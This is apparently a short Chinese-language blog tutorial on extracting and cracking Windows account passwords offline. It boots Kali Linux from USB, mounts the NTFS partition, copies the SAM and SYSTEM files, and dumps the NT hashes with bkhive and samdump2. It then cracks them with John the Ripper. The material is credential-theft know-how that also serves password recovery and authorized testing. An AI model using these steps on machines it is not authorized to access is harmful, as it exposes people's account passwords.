dump Windows SAM密码

最新推荐文章于 2025-03-12 06:00:00 发布

原创最新推荐文章于 2025-03-12 06:00:00 发布 · 792 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#操作系统 #大数据

windows 专栏收录该内容

40 篇文章

订阅专栏

本文介绍了一种通过Kali Linux破解Windows系统密码的方法。步骤包括：使用USB启动Kali Linux；查看磁盘分区；挂载目标分区；定位SAM和SYSTEM文件；获取系统启动密钥；导出密码哈希值；最后使用John the Ripper破解密码。

由于Windows的SAM密码保护机制，SAM文件在Windows启动后就被保护，所以不能开机后破解。
[quote]1. 使用usb启动kali[/quote]
[quote]2. fdisk -l[/quote]
查看磁盘分区。在我电脑测试时为一个/dev/sda5，文件格式为HPFS/NTFS/exFAT
[quote]3. mount -t ntfs /dev/sda5 /mnt[/quote]
[quote]4. cd /mnt[/quote]
[quote]5. find . -name "*SAM*"[/quote]
找到存放SAM和SYSTEM文件的文件夹
[quote]6. 将SAM和SYSTEM拷贝到工作目录下[/quote]
[quote]7. bkhive SYSTEM bootkey[/quote]
来查看系统boot key，此时工作目录下多出一个bootkey的文件
[quote]8. samdump2 SAM bootkey > hash.txt[/quote]
使用samdump2命令dump出hash值
[quote]9. john ./hash.txt --show --format=nt[/quote]
来破解密码